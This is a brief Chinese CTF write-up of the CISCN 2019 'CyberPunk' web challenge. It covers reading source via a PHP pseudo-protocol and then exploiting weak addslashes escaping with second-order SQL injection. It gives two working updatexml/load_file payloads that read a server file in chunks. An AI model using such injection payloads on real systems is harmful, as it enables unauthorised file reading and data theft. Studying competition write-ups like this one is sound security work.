title | author | avatar | authorAbout | authorDesc | categories | comments | date | authorLink | tags | keywords | description | photos |
---|---|---|---|---|---|---|---|---|---|---|---|---|
[CISCN2019 华北赛区 Day1 Web5]CyberPunk |
Troy3e |
steamID:888007034 |
Blizzard:TroyeSivan#51769 |
技术 |
true |
2020-08-12 15:08:02 -0700 |
查看源码在最后发现了提示:
尝试用伪协议读取源码:
用同样的方式读取其他各个页面的源码:
以change.php为例:
可以看到对SQL注入做了比较严的过滤,但是,这过滤并没有针对address,address却只是进行了简单的转义。 之前留言板那道题已经遇到过一次了,看到这个addslashes果断想到二次注入。 利用updatexml: 先读前30位:1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)# 再读最后几位:1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60)),0x7e),1)# 因为updatexml这个函数最多显示32位,所以要分两次读。